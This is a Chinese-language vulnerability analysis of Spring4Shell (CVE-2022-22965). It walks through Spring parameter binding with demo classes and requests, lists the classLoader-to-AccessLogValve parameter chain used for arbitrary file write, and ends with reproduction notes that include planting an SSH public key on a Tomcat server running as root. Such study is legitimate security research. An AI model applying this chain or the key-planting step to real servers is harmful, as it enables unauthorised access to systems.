Spring rce CVE-2022-22965

原理大致是这样：spring框架在传参的时候会与对应实体类自动参数绑定，通过“.”还可以访问对应实体类的引用类型变量。使用getClass方法，通过反射机制最终获取tomcat的日志配置成员属性，通过set方法，修改目录、内容等属性成员，达到任意文件写入的目的。

环境：

jdk9、springmvc、tomcat8

一、先看下传参：

定义2个实体类

public class User {
    private String username;
    private String password;

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public SubTest getSub(){
        return new SubTest();
    }
}

public class SubTest {
    public void setsubfunction(String s){
        System.out.println("=====");
        System.out.println(s);
        System.out.println("=====");
    }
}

定义一个Controller类

@RestController
public class HelloController {
    @RequestMapping("/rce")
    @ResponseBody
    public String helloTest(User user) throws IOException {
        System.out.println(user.getPassword());
        System.out.println(user.getUsername());
        return "hello spring : ";
    }
}

不管是GET还是POST，只要是Controller接受的方式都可以传参赋值。

利用POST方式，传参

POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 15

username=vpanda 

这里username=vpanda的传参，调用了User的setUsername方法。

POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 25

sub.subfunction=aaaaatest

这里sub.subfunction=aaaaatest，实际调用User的getSub方法，获得SubTest对象后实现setsubfunction方法，传参aaaaatest，最终实现SubTest类型的setsubfunction。

输出

=====
aaaaatest
=====

二、接下去直接看POC的利用链：

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
class.module.classLoader.resources.context.parent.pipeline.first.directory=
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

在这里的实现逻辑是当前user对象getclass获得了类对象，Class类中存在getModule，获得module类对象，而Module类又存在getclassloader方法，最终返回一个类加载器。

调试输出当前类加载器名称

ClassLoader classLoader = user.getClass().getModule().getClassLoader();

System.out.println("===classloader===");
System.out.println(classLoader);
System.out.println("===classloadername===");
System.out.println(classLoader.getClass().getName());
System.out.println("========");

===classloader===
ParallelWebappClassLoader
  context: ROOT
  delegate: false
----------> Parent Classloader:
java.net.URLClassLoader@1b7cc17c

===classloadername===
org.apache.catalina.loader.ParallelWebappClassLoader
========

通过输出结果可以看到当前对象的类加载器是org.apache.catalina.loader.ParallelWebappClassLoader，

ParallelWebappClassLoader继承WebappClassLoaderBase，WebappClassLoaderBase实现了getResources是WebResourceRoot接口类型，

WebResourceRoot接口存在getContext方法，Context接口类型，继承Container，Container实现parent和getPipeline，Pipeline接口实现getfirst，

最终得到Valve类型，通过类对象遍历所有成员。

Valve first = parallelWebappClassLoader.getResources().getContext().getParent().getPipeline().getFirst();
Class<? extends Valve> aClass = first.getClass();
System.out.println("====DeclaredFields=====");
Field[] fields = aClass.getDeclaredFields();
for (Field field : fields) {
    System.out.println(field);
}
System.out.println("====Methods=====");
Method[] methods = aClass.getMethods();
for (Method method : methods) {
    System.out.println(method);
}

输出结果，可以看到利用链中几个关键成员的set方法。

====DeclaredFields=====
private static final org.apache.juli.logging.Log org.apache.catalina.valves.AccessLogValve.log
private volatile java.lang.String org.apache.catalina.valves.AccessLogValve.dateStamp
private java.lang.String org.apache.catalina.valves.AccessLogValve.directory
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.prefix
protected boolean org.apache.catalina.valves.AccessLogValve.rotatable
protected boolean org.apache.catalina.valves.AccessLogValve.renameOnRotate
private boolean org.apache.catalina.valves.AccessLogValve.buffered
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.suffix
protected java.io.PrintWriter org.apache.catalina.valves.AccessLogValve.writer
protected java.text.SimpleDateFormat org.apache.catalina.valves.AccessLogValve.fileDateFormatter
protected java.io.File org.apache.catalina.valves.AccessLogValve.currentLogFile
private volatile long org.apache.catalina.valves.AccessLogValve.rotationLastChecked
private boolean org.apache.catalina.valves.AccessLogValve.checkExists
protected java.lang.String org.apache.catalina.valves.AccessLogValve.fileDateFormat
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.encoding
private int org.apache.catalina.valves.AccessLogValve.maxDays
private volatile boolean org.apache.catalina.valves.AccessLogValve.checkForOldLogs
====Methods=====
public void org.apache.catalina.valves.AccessLogValve.log(java.io.CharArrayWriter)
public synchronized boolean org.apache.catalina.valves.AccessLogValve.rotate(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.rotate()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getEncoding()
public void org.apache.catalina.valves.AccessLogValve.setEncoding(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.setRotatable(boolean)
public boolean org.apache.catalina.valves.AccessLogValve.isRenameOnRotate()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getDirectory()
public void org.apache.catalina.valves.AccessLogValve.setCheckExists(boolean)
public void org.apache.catalina.valves.AccessLogValve.setDirectory(java.lang.String)
public boolean org.apache.catalina.valves.AccessLogValve.isRotatable()
public int org.apache.catalina.valves.AccessLogValve.getMaxDays()
public void org.apache.catalina.valves.AccessLogValve.setMaxDays(int)
public boolean org.apache.catalina.valves.AccessLogValve.isCheckExists()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getFileDateFormat()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getSuffix()
public void org.apache.catalina.valves.AccessLogValve.setRenameOnRotate(boolean)
public void org.apache.catalina.valves.AccessLogValve.setBuffered(boolean)
public boolean org.apache.catalina.valves.AccessLogValve.isBuffered()
public void org.apache.catalina.valves.AccessLogValve.setFileDateFormat(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.setSuffix(java.lang.String)
public synchronized void org.apache.catalina.valves.AccessLogValve.backgroundProcess()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getPrefix()
public void org.apache.catalina.valves.AccessLogValve.setPrefix(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.invoke(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response) throws java.io.IOException,javax.servlet.ServletException
public void org.apache.catalina.valves.AbstractAccessLogValve.log(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response,long)
public int org.apache.catalina.valves.AbstractAccessLogValve.getMaxLogMessageBufferSize()
public void org.apache.catalina.valves.AbstractAccessLogValve.setMaxLogMessageBufferSize(int)
public void org.apache.catalina.valves.AbstractAccessLogValve.setLocale(java.lang.String)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getLocale()
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getEnabled()
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getCondition()
public void org.apache.catalina.valves.AbstractAccessLogValve.setCondition(java.lang.String)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getPattern()
public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionUnless(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.setIpv6Canonical(boolean)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionUnless()
public void org.apache.catalina.valves.AbstractAccessLogValve.setPattern(java.lang.String)
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getIpv6Canonical()
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionIf()
public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionIf(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.setRequestAttributesEnabled(boolean)
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getRequestAttributesEnabled()
public void org.apache.catalina.valves.AbstractAccessLogValve.setEnabled(boolean)
public java.lang.String org.apache.catalina.valves.ValveBase.toString()
public org.apache.catalina.Valve org.apache.catalina.valves.ValveBase.getNext()
public void org.apache.catalina.valves.ValveBase.setNext(org.apache.catalina.Valve)
public java.lang.String org.apache.catalina.valves.ValveBase.getObjectNameKeyProperties()
public void org.apache.catalina.valves.ValveBase.setContainer(org.apache.catalina.Container)
public java.lang.String org.apache.catalina.valves.ValveBase.getDomainInternal()
public org.apache.catalina.Container org.apache.catalina.valves.ValveBase.getContainer()
public boolean org.apache.catalina.valves.ValveBase.isAsyncSupported()
public void org.apache.catalina.valves.ValveBase.setAsyncSupported(boolean)
public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.getObjectName()
public final java.lang.String org.apache.catalina.util.LifecycleMBeanBase.getDomain()
public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.preRegister(javax.management.MBeanServer,javax.management.ObjectName) throws java.lang.Exception
public final void org.apache.catalina.util.LifecycleMBeanBase.postRegister(java.lang.Boolean)
public final void org.apache.catalina.util.LifecycleMBeanBase.preDeregister() throws java.lang.Exception
public final void org.apache.catalina.util.LifecycleMBeanBase.postDeregister()
public final void org.apache.catalina.util.LifecycleMBeanBase.setDomain(java.lang.String)
public final synchronized void org.apache.catalina.util.LifecycleBase.init() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.start() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.stop() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.destroy() throws org.apache.catalina.LifecycleException
public org.apache.catalina.LifecycleState org.apache.catalina.util.LifecycleBase.getState()
public java.lang.String org.apache.catalina.util.LifecycleBase.getStateName()
public void org.apache.catalina.util.LifecycleBase.addLifecycleListener(org.apache.catalina.LifecycleListener)
public void org.apache.catalina.util.LifecycleBase.removeLifecycleListener(org.apache.catalina.LifecycleListener)
public org.apache.catalina.LifecycleListener[] org.apache.catalina.util.LifecycleBase.findLifecycleListeners()
public boolean org.apache.catalina.util.LifecycleBase.getThrowOnFailure()
public void org.apache.catalina.util.LifecycleBase.setThrowOnFailure(boolean)
public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException
public final void java.lang.Object.wait() throws java.lang.InterruptedException
public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException
public boolean java.lang.Object.equals(java.lang.Object)
public native int java.lang.Object.hashCode()
public final native java.lang.Class java.lang.Object.getClass()
public final native void java.lang.Object.notify()
public final native void java.lang.Object.notifyAll()

三、复现

在本地测试实现任意文件写入

将war包传到服务器，dnslog测试

如果使用root权限拉起了tomcat，尝试将ssh公钥写入服务器。